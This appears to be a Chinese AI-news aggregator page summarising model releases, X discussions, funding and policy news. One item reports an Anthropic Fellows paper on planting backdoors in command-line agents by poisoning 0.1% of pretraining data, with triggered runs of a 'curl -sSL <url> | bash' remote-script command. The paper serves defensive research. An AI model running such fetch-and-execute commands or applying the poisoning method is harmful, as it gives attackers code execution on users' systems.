AI 编程实时动态与要闻

Deep Principle 开源 7530 亿参数科研模型 Hydrogen-1.0:基于 GLM-5.3 用实验室记录后训练,MIT 许可

杭州 AI for Science 公司 Deep Principle(深度原理)11 月 2 日发布首个通用科研大模型 Hydrogen-1.0,在智谱 GLM-5.3 上用化学、材料、生命科学数据以及自家实验室记录和发现轨迹做 SFT+RL 后训练,以 MIT 许可在 Hugging Face 开放约 7530 亿参数的 BF16 权重。厂商口径下它在 FrontierScience-Research 上拿到 38.3%,高于 GPT-6 Astra 的 33.3%,但均为自测,尚无独立复现。

Deep Principle 开源 7530 亿参数科研模型 Hydrogen-1.0:基于 GLM-5.3 用实验室记录后训练,MIT 许可

核心要点速览

  • 规模:Hugging Face 显示总参数约 7530 亿(BF16,权重约 1.5 TB),架构为 glm_moe_dsa,上下文 1M token、最长输出 128K token,MIT 许可(需在 HF 同意条款后下载)。
  • 跑分(厂商口径):FrontierScience-Research 38.3%,GPT-6 Astra 为 33.3%;GPQA Diamond 93.0%,官方称大致与 Kimi K3 持平。
  • 内部场景(厂商口径):科学计算和单步正向反应预测分别领先最高思考档 GPT-6 Astra 5.13 和 4.76 个百分点,NMR 结构解析则落后 3.33 个百分点。
  • 材料发现:过渡金属配合物五轮搜索后,平均最佳 HOMO-LUMO 带隙 4.318 eV,GPT-6 Astra 为 3.689 eV,Kimi K3 为 3.353 eV(官方博客)。
  • 获取方式:HF 与 ModelScope 下载权重,另有 NVFP4(B200/B300)和 MXFP4(MI350X/MI355X)量化版;NeuroSpark 提供 API,Mira AI Scientist 可直接使用;官方用 SGLang 8 卡测试。
阅读全文

X 热议:马斯克称 Grok Bot 服务成本相对收入过高,Replit CEO Amjad Masad 警告「补贴型 AI 订阅要被收割了」

有用户在 X 上抱怨本周期 Grok Bot 额度提前用完,马斯克回复称「Grok Bot 的服务成本相对收入高得不可持续」,该回复获 1.3 万赞、550 万浏览。Replit CEO Amjad Masad 随后转引称「享受补贴型 AI 订阅的人准备好被收割」,引发关于 AI 包月订阅定价是否可持续的讨论。以下为 X 讨论与当事人观点,xAI 未发布正式的定价或额度调整公告。

核心要点速览

  • 起点:用户 @DogecoinNorway 称 Grok Bot 用量已到 100%,距重置还有 4 天,帖子约 124 万浏览。
  • 马斯克回复:Grok Bot 的服务成本相对收入高得不可持续,约 1.32 万赞、551 万浏览、1,900 余次引用。
  • Amjad Masad(Replit CEO)转引称补贴型 AI 订阅将被「rug pull」,约 2,347 赞、14.6 万浏览;他在回复中称 Replit「从未补贴」。
  • xAI 未发布正式的额度或定价调整公告,具体变化以官方说明为准。
阅读全文

美团龙猫正式发布 LongCat-2.5:1.6T 总参、约 48B 激活的原生多模态智能体模型,API 限时 $0.30/$1.20

美团 LongCat 团队 11 月 2 日在 API 平台更新日志中上线 LongCat-2.5,这是 9 月 25 日 LongCat-2.5-Preview 的正式版。官方技术博客称它总参数 1.6 万亿、每个 token 激活约 480 亿,在 LongCat-2.0 基础上强化原生视觉理解和智能体编程,训练和 W4A4 推理都在国产 AI 加速卡上完成。官方口径成绩包括 Terminal Bench v2.1 88.4、Terminal Bench v4.0 38.5、BrowseComp 91.9、MCP Atlas 83.1。API 支持 OpenAI 和 Anthropic 两种格式,1M 上下文、最多 128K 输出,限时价每百万 token 输入 $0.30、缓存输入 $0.006、输出 $1.20。

美团龙猫正式发布 LongCat-2.5:1.6T 总参、约 48B 激活的原生多模态智能体模型,API 限时 $0.30/$1.20

核心要点速览

  • 规模:1.6 万亿总参数 MoE,每 token 激活约 480 亿;1M 上下文、最高 128K 输出(官方博客、API 文档)
  • 代码智能体(官方口径):Terminal Bench v2.1 88.4(Claude Opus 5 89.1、GPT-5.6-Sol 88.8)、Terminal Bench v4.0 38.5(GPT-5.6-Sol 37.3、Claude Opus 5 53.9)、DeepSWE v1.1 64.6
  • 通用智能体(官方口径):BrowseComp 91.9、MCP Atlas 83.1、AutomationBench v1.0.6 51.8、HLE w/tools 63.1;相比 LongCat-2.0 的 AutomationBench 15.8 大幅提升
  • 价格:限时每百万 token 输入 $0.30(¥2)、缓存输入 $0.006(¥0.04)、输出 $1.20(¥8)(定价页)
  • 工程:W4A4 推理相比 W8A8 基线预填充吞吐 +43.3%、解码吞吐 +42.77%;长序列 SFT 中 FSDP 单卡吞吐比 DDP 基线高 86%
阅读全文

X 热议:Shopify CEO Tobi Lütke 力挺 monorepo,公司工程师称单一代码库对编程智能体「是一大利好」,反方坚持拆仓

Shopify 杰出工程师 Burke Libbey 11 月 1 日发帖称,迁到 monorepo(单一代码库)对 Shopify 内部的智能体「是一大利好」,虽然需要配套工具、也有要花力气缓解的缺点,但他「不会回头」。这条帖子回应的是 Darren Shepherd 前一天的观点:他讨厌「monorepo 适合智能体」的说法。Shopify CEO Tobi Lütke 随后引用并讲述 Mikhail Parakhin 当年的话:每个工程师都讨厌迁 monorepo,但迁完后没人愿意去不用它的公司。Tobi 的帖子约 1,115 赞、454 收藏、8.9 万浏览,引发大量讨论。这是从业者观点,不是官方技术公告。

核心要点速览

  • 原帖:@tobi 11 月 1 日,15:39 UTC 发布,约 1,115 赞、454 收藏、95 条回复、8.9 万浏览(抓取时)
  • Shopify 杰出工程师 Burke Libbey 原话:迁 monorepo 对 Shopify 的智能体是一大利好,需要用心做工具、缺点要花力气缓解,但「不会回头」
  • 反方 Darren Shepherd(Rancher / k3s 背景)10 月 31 日发帖:讨厌「monorepo 适合智能体」的说法,认为最好的扩展方式是避免扩展
  • Mikhail Parakhin 回应 Tobi 的转述:「有了智能体,这话比以往更对」
  • 引用帖中支持方的核心理由是智能体能一次看到所有调用方、做跨栈类型检查和原子改动;也有人质疑在智能体时代是否更该保留独立演化的小仓库
阅读全文
关联模型 / 智能体 / 厂商:
AD赞助内容

X 热议:Flask 作者 Armin Ronacher 称 Opus 5.5 智能体两周内可无人工重写整个 CPython,评论区争论「价值到底在不在测试集」

Flask 作者 Armin Ronacher(@mitsuhiko)11 月 1 日发帖称,他确信现在用一个 Opus 5.5 智能体,只对着测试集、无人工介入,大约两周就能重写整个 CPython,甚至做到 ABI 兼容、去掉 GIL、带 JIT 并在各项指标上更快。帖子约 1,637 赞、9.8 万浏览、162 条回复。随后他补充:重写不一定需要现成测试集,让智能体先自建测试更适合移植。antirez 表示赞同,Mario Zechner 和 Meta 工程师 Kevin Newton 则提出反对。这是个人判断,并无实际重写结果。

核心要点速览

  • 原帖:@mitsuhiko 11 月 1 日,11:52 UTC 发布,约 1,637 赞、269 收藏、162 条回复、9.8 万浏览(抓取时)
  • 他的原话要点:只给测试集、无人工输入,约两周重写 CPython,「可能」做到含 ABI 的完全兼容、无 GIL、带 JIT,并称「完全疯狂」;这是预测,没有给出实验
  • 后续帖(14:07 UTC,约 212 赞):不必依赖现成测试集,很多旧测试不适合「爬坡」优化;他说几周前让智能体重写 Excel 公式引擎时,测试集是它从零自建的
  • antirez(Redis 作者)赞同先让智能体建一套庞大的测试再开始移植;Mario Zechner 反对,认为问题在信任,现成的测试和一致性套件才让他放心
  • Meta 工程师 Kevin Newton 批评:成功的 Python JIT 极少,难在复杂度和兼容性,认为「无需人工就能做出好 JIT」是错误的;也有人指出 PEP 703 下无 GIL 构建本就与标准 ABI 不兼容
阅读全文
关联模型 / 智能体 / 厂商:
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀19
🔥82

Anthropic Fellows 论文:只污染 0.1% 预训练数据,就能给 CLI Agent 植入远程执行后门,干净的 SFT/DPO/RL 也洗不掉

来自 Anthropic Fellows 项目和 Anthropic 的研究者(含 Nicholas Carlini、Javier Rando)在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型,只在预训练语料中混入 0.1% 的投毒文档,再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在:遇到触发条件时,Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令;4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%,而在干净提示上发出恶意命令的比例为 0%。

核心要点速览

  • 投毒比例:只占 100B token 预训练语料的 0.1%,攻击者无需接触模型架构或后训练流程(论文)
  • 持久性:后门在干净的 SFT、DPO 和 GRPO(RLVR)后训练后依然有效,且不降低模型能力评测分数(论文口径)
  • 成功率:4B 模型 Pass@32 攻击成功率 92.7%(普通路径触发)、10.5%(罕见字符串触发);干净提示上恶意命令发出率 0%(论文口径)
  • 规模效应:攻击成功率随模型变大单调上升,4B 模型在投毒率降到 0.0005%(二十万分之一)时仍有正成功率
  • 防御建议:清洗数据难以保证,作者建议在动作层防守,比如沙箱、最小权限、高风险命令白名单或人工确认;代码已开源(GitHub)
阅读全文
关联模型 / 智能体 / 厂商:

X 热议:Stripe CEO Patrick Collison 给自己 vibe coding 的应用加“改进框”,Agent 直接实现,称之为“液体软件”

X 上正在热议的一个观点:Stripe CEO Patrick Collison(@patrickc)10 月 31 日发长帖说,他正在给自己所有 vibe coding 做的个人应用加一个“改进”功能,也就是一个自由输入框,背后接一个 Agent,提交什么就直接实现什么。他称另一位使用者几天内已经通过它实现了 150 项改进,并把这种模式称为“液体软件”(liquid software)。同时他也坦言不确定这种模式能否扩展:会不会越改越难维护、多人协作怎么办、是否安全可靠。原帖约 2,130 赞、1,900 收藏、14.7 万次浏览。以下为讨论整理,是个人观点,不是 Stripe 官方产品发布。

X 热议:Stripe CEO Patrick Collison 给自己 vibe coding 的应用加“改进框”,Agent 直接实现,称之为“液体软件”

核心要点速览

  • 热度:原帖约 2,133 赞、1,896 收藏、217 条回复、76 条引用、14.7 万次浏览(X 公开数据,截至 11 月 1 日 12:15 SGT)
  • 做法:每个个人应用里放一个自由文本框,接一个 Agent,按提交内容“yolo”直接实现,大幅降低“顺手修个小毛病”的门槛
  • 数据点:Collison 称另一位使用者几天内通过它实现了 150 项改进(作者自述,未公开具体应用)
  • 他自己提出的疑问:会不会越改越难维护、模型变强能否跟上需求、多人协作如何处理、能否做到安全可靠
  • 讨论:支持者认为这会成为软件标配,甚至可按用户做功能开关;质疑者指出第二个用户提出相反需求时就会冲突,维护和安全仍是难题;他本人把它比作 Lisp 机、Smalltalk、HyperCard 那种用户可自行修改的软件愿景
阅读全文
关联模型 / 智能体 / 厂商:

X 与 SpaceXSI 设计负责人 Benji Taylor 开源 Stageshow:让编程 Agent 做出像真产品的假 UI 和动效演示

X 与 SpaceXSI 设计负责人 Benji Taylor 10 月 31 日在 X 上发布 Stageshow:一个给编程 Agent 用的开源 skill(MIT 许可),帮助 Agent 生成更像真实产品的“假 UI”静态图、光标演示动画和 bento 网格,产出是普通 React 组件。一条命令即可安装,作者说适用于 Grok Build、Claude Code、Codex、Gemini 等。首帖约 4,500 赞、6,500 次收藏。作者本人说明它不保证一次成功,多数演示仍需几轮反馈。

X 与 SpaceXSI 设计负责人 Benji Taylor 开源 Stageshow:让编程 Agent 做出像真产品的假 UI 和动效演示

核心要点速览

  • 安装:npx skills add benjitaylor/skills --skill stageshow,作者称适用于 Grok Build、Claude Code、Codex、Gemini 等 Agent(作者博客)
  • 内容:SKILL.md 七步工作流、references 规则文档、数十个“金标准”示例、React kit 和 film.mjs 等自检脚本(GitHub)
  • 许可:stageshow 目录为 MIT 许可;仓库 10 月 26 日创建,写稿时约 61 星
  • 热度:首帖约 4,521 赞、6,561 收藏、21 万次浏览(截至 11 月 1 日 08:00 SGT)
  • 效果为作者自述:同样提示词加了 skill 后效果更好,但未公布量化评测
阅读全文
O
OpenAIhelp.openai.com·
👀44
🔥83

OpenAI 宣布 12 月起 ChatGPT 与 Codex 共用一份按 token 计的额度:覆盖 Plus、Pro 和 Business,Instant 聊天不计入

OpenAI 帮助中心 10 月 31 日新增《Understanding ChatGPT and Codex usage limits》页面:从 12 月起,Plus、Pro 和 Business 套餐的使用额度将在 ChatGPT 与 Codex 之间共享,原因是要把 Work 的 Agent 能力并入 ChatGPT 主界面。用量改按 token 计,模型越强、任务越复杂消耗越快;Instant 聊天不消耗额度。用户可在「设置 → 用量」查看合并后的剩余额度和重置时间,用完后可等重置、升级套餐或购买额度。OpenAI 官方称预计大多数用户等待重置的频率不会比现在更高,但尚未公布具体上线日期和各套餐额度。该消息在 X 上引发大量 Plus 用户担忧。

核心要点速览

  • 时间:12 月起生效,具体日期官方未公布;覆盖 Plus、Pro、Business 三类套餐(OpenAI 帮助中心)
  • 计量:统一按 token 计,Instant 聊天不计入;Business 定价页也已加注「12 月起套餐用量在 ChatGPT 与 Codex 之间共享上限」(Business 定价)
  • 现状参考:目前只有 Work 与 Codex 共用额度,Plus 每 5 小时本地消息估算为 GPT-6 Astra 5–45 条、GPT-6.1 Sol 15–160 条、GPT-6 Luna 350–3,000 条(官方估算,帮助文档)
  • Pro 100/200/500 目前在 Work 与 Codex 中没有 5 小时上限,合并后各套餐额度官方未公布
  • 官方口径:预计大多数用户等待重置的频率不会比现在更高;用完可等重置、升级或买额度
阅读全文

DeepSeek Harness 团队开源 dsh-superagent:常驻单个 GitHub 仓库的主动式编码 Agent 原型,同步公开 Super-agent 架构文章

10 月 31 日,deepseek-ai 在 GitHub 以 MIT 协议开源 dsh-superagent-prototype:一个作为 DeepSeek Harness 插件包运行、常驻单个 GitHub 仓库(可选接入飞书)的主动式编码 Agent。授权成员提出请求后,它会建工作项、在独立会话和目录里干活,再回到原对话交付,例如提一个 PR。README 明确写着这是研究原型,不是 DeepSeek 官方产品。同时发布的《Exploring Super-agent Design》提出 Router-Worker 双层架构,媒体转述的团队自测显示 p95 完成时间 15.7 分钟,对比单会话方案 29.5 分钟。

核心要点速览

  • 开源:deepseek-ai/dsh-superagent-prototype 于 10 月 31 日公开,MIT 协议、TypeScript 实现,写稿时约 1,800 star
  • 定位:每次部署只服务 1 个 GitHub 仓库,可选接入飞书;只在被授权成员点名或团队写好的规则允许时才动手
  • 交付:默认只允许为工单开的、增删合计少于 200 行且已获批准的 PR 自动合并,且不以 Agent 自己的账号开启自动合并
  • 团队自测(据媒体转述文章,厂商口径):约 300 条消息、20 个请求的模拟中,p50 / p95 完成时间 12.4 / 15.7 分钟,单会话加 Subagent 方案为 20.4 / 29.5 分钟
  • 风险:Worker 会话以运维者的系统用户身份免审批执行命令,README 要求用前先审阅和改造
阅读全文
AD赞助内容

YC Labs 让 AI 智能体蜂群打 Minecraft 和 Mindustry:GPT 蜂群两项对抗赛 16 局赢下 12 局压过 Claude,50 智能体殖民地反而陷入「官僚主义」

Y Combinator 的研究项目 YC Labs 与多智能体环境公司 Olam Labs 10 月 29 日发布《Agents in Games》实验报告:50 个 GPT-6.1 Sol 智能体在 Minecraft 生存模式里「建设繁荣文明」3 小时,最后挤在避难所里配给口粮,发了约 5,900 条消息,搞出配给账本、许可证和各种岗位;9 局 Bed Wars 中 10 个 GPT-6.1 Sol 对 10 个 Claude Opus 5.5,GPT 以 6–3 获胜;Mindustry 50 对 50 共 7 局约 9.5 小时,GPT 以 6–1 获胜。报告还发现领导者几乎总是名册上排第一的智能体,GPT 卡住时会自己上网读游戏源码。Minecraft 智能体框架已开源。这是单一机构的实验观察,不是标准化跑分。

YC Labs 让 AI 智能体蜂群打 Minecraft 和 Mindustry:GPT 蜂群两项对抗赛 16 局赢下 12 局压过 Claude,50 智能体殖民地反而陷入「官僚主义」

核心要点速览

  • 对抗结果:Bed Wars 9 局 GPT-6.1 Sol 6–3 胜,Mindustry 7 局 6–1 胜,合计 16 局 12 胜(见 YC Labs 报告)
  • Civ50:50 个 GPT 智能体 3 小时发约 5,900 条消息,34 次死亡中 22 次发生在第一夜,之后整体趋于保守
  • 领导者不靠选举:49 个智能体中 46 个第一条消息发给名册第一的 Ada,她共收到 616 条私信
  • 沟通风格:Bed Wars 一局中 GPT 发出 1,147 条私信、Claude 仅 82 条;GPT 越打越用压缩速记,Claude 用「+1」投票
  • 开源:Minecraft 长时运行智能体框架 yc-software/minecraft-agent-harness 已公开
阅读全文
T
Tsinghua University & Z.AI (HarnessPro, arXiv 2610.26770)arxiv.org·
👀10
🔥80

清华与智谱 Z.AI 开源 HarnessPro:Agent 自己改写 harness,Terminal-Bench 2 通过率 80.8%、单任务成本降 34%

清华大学与 Z.AI(智谱)等机构的论文 HarnessPro(arXiv 2610.26770,10 月 19 日提交、10 月 20 日更新 v2)提出一种无需标准答案的 harness 自我改进方法:让专门的 agent 诊断执行轨迹、改写指令与运行时策略,再用 LLM 生成的测试评估,并按性能与成本给出 Lite、Medium、Heavy 三档 harness。论文口径:GPT-5.5 搭配 Codex 时,Heavy 档在 Terminal-Bench 2 达到 80.8%,比此前方法 RHO 高 4.5 个百分点,单任务成本从 1.09 美元降到 0.72 美元。代码以 MIT 协议开源,本周被 Pandaily 等媒体集中报道。

清华与智谱 Z.AI 开源 HarnessPro:Agent 自己改写 harness,Terminal-Bench 2 通过率 80.8%、单任务成本降 34%

核心要点速览

  • Terminal-Bench 2(GPT-5.5 × Codex,三次平均):Heavy 档 80.8%、单任务 0.72 美元;RHO 为 76.3%、1.09 美元,成本降 33.9%(论文口径,见 arXiv)
  • 三个基准平均:相对 RHO 通过率 +2.0 个百分点、单任务成本 -26.1%;基准为 Terminal-Bench 2、SWE-Bench Pro、ProgramBench
  • 换模型也成立:GLM-5.2 × Claude Code 在 Terminal-Bench 2 上,Heavy 档 81.4%、0.62 美元,对比原版 74.6%、0.92 美元和 RHO 78.0%、1.00 美元
  • 省钱档:Medium 档在 Terminal-Bench 2 上 76.3%(与 RHO 持平)但只要 0.56 美元;Lite 档 72.9%、0.43 美元
  • 训练代价小:每个基准只用 10 个训练任务、跑 3–4 轮进化,测试集为 59/100/100 个留出任务;GitHub 以 MIT 协议开源三档 harness
阅读全文

Cohere 完成 E 轮首次交割:目标最高 70 亿加元、估值 357 亿加元,加拿大政府最高 16 亿加元入股

10 月 29 日,Cohere 宣布 E 轮融资首次交割,目标最高 70 亿加元、估值 357 亿加元,由 Schwarz Group 领投,NVIDIA、Bell Ventures 等参与,Cohere 称这是加拿大初创公司史上最大的私募轮。同日加拿大总理 Mark Carney 宣布政府将分阶段对 Cohere 进行最高约 16 亿加元的股权投资;Cohere 承诺保留加拿大注册和总部,并在 2031 年前于加拿大投入超 40 亿加元、新增 1,500 多个岗位。

Cohere 完成 E 轮首次交割:目标最高 70 亿加元、估值 357 亿加元,加拿大政府最高 16 亿加元入股

核心要点速览

  • 融资:E 轮目标最高 70 亿加元、估值 357 亿加元,Schwarz Group 领投,Bell Ventures、Bullhound、Inovia、NVIDIA、Prosperity7 与加拿大政府参与(Cohere 博客,厂商口径)
  • 政府入股:最高约 16 亿加元,分阶段注资并定期汇报就业与投资进度,属商业投资(总理府新闻稿)
  • 政府条件:2030 年前新增至少 1,000 个技术岗、至少 17 亿加元新增算力,保留加拿大注册与总部
  • Cohere 承诺:2024–2031 年在加投入超 40 亿加元研发与基础设施,新增 1,500+ 岗位,2029 年前 250+ 个带薪学生岗位(Cohere 博客)
  • 定位:主打可私有部署的「主权 AI」和网络安全,AISLE 将并入为 Cohere Cyber;本次未公布新模型或跑分
阅读全文
关联模型 / 智能体 / 厂商:
O
OpenAI / Google / Microsoft / Anthropic@AICoder·
👀11
🔥83

OpenAI、Google、微软、Anthropic 联合支持 robots.txt 统一 AI 训练退出信号 __usage_ai-training:Anthropic 已开始落地,微软 2027 年 2 月 1 日生效

10 月 30 日,OpenAI、Google、微软和 Anthropic 分别发文,承诺支持同一个 robots.txt 训练偏好信号:网站只需为策略令牌 __usage_ai-training 写一组 Disallow 规则,就能一次性向所有参与方表达「不要用于生成式 AI 训练」。该机制来自 Anthropic 标准负责人 Kevin Kelley 当天提交的 IETF 个人草案,尚不是正式标准。落地时间各不相同:据 The Verge 和 CNA 报道 Anthropic 已开始实施,OpenAI 称「未来几个月」,微软 2027 年 2 月 1 日起生效,Google 计划在 2027 年支持。

核心要点速览

  • 写法:robots.txt 中 User-Agent: __usage_ai-training 加 Disallow: / 即表达整站不用于 AI 训练,可用 Allow 给单个路径(如 /press-kit/)开例外;不写这一组即视为未表达偏好
  • 草案:draft-kelley-aipref-training-preference-signal-00,作者 Kevin Kelley(Anthropic),2026-10-30 提交,2027-05-03 到期,属于 IETF 个人草案、尚无正式地位
  • 时间表:据报道 Anthropic 已开始实施;OpenAI「未来几个月」;微软 2027-02-01 起生效,用 NoArchive/NoCache 的站点需在 2027-03-01 前迁移;Google 计划 2027 年支持
  • 它只管训练、不管抓取:草案明确这不是爬取指令,User-Agent: * 通配组不算匹配,GPTBot、ClaudeBot、Google-Extended 等原有规则继续有效
  • 微软另加页面级 AI Grounding 偏好,新值 DisallowExtended 只允许微软自家产品(Copilot、AI Overview 等)用于生成回答,排除 Foundry API 等第三方 grounding 服务
阅读全文
关联模型 / 智能体 / 厂商:

OpenAI 推出 GPT-6 Rosalind Research:GPT-6 代生命科学专用模型,向获批研究机构开放 Work、Codex 与 API,每百万 token 15/75 美元

OpenAI 在 10 月 30 日的 ChatGPT Business 更新日志中宣布,GPT-6 Rosalind Research 开始向一小批获得 Research 审批的客户推送,可在 ChatGPT Work 和 Codex 的模型选择器中使用,不进入 Chat 标签页;单独获批的组织还能通过 API 调用,模型名为 gpt-6-rosalind。按 Enterprise 按 token 计费的价目表,它的价格是每百万输入 token 15 美元、缓存输入 1.50 美元、输出 75 美元,是上一代 GPT-5.5 Rosalind Research 的 3 倍。

核心要点速览

  • 只对获批机构开放:组织和用户都需要 Rosalind Research 审批,Discovery 审批不包含它
  • 使用入口:ChatGPT Work 和 Codex 的模型选择器,不在 Chat 标签页;Codex 里配合 Life Sciences Research 插件
  • API 模型名 gpt-6-rosalind,需单独获批,目前只能用于内部研究工具,不能用于面向客户的产品
  • 定价每百万 token 输入 15 美元、缓存 1.50 美元、输出 75 美元,GPT-5.5 Rosalind Research 为 5/0.50/25 美元
  • Enterprise 工作区先有两周 Admin Preview,默认关闭,需管理员为获批用户开启
阅读全文
关联模型 / 智能体 / 厂商:
⚡ GPT-6 Rosalind Research⚡ GPT-5.5 Rosalind Research⚡ GPT-6 Astra🤖 Codex🤖 ChatGPT Work🌐 OpenAI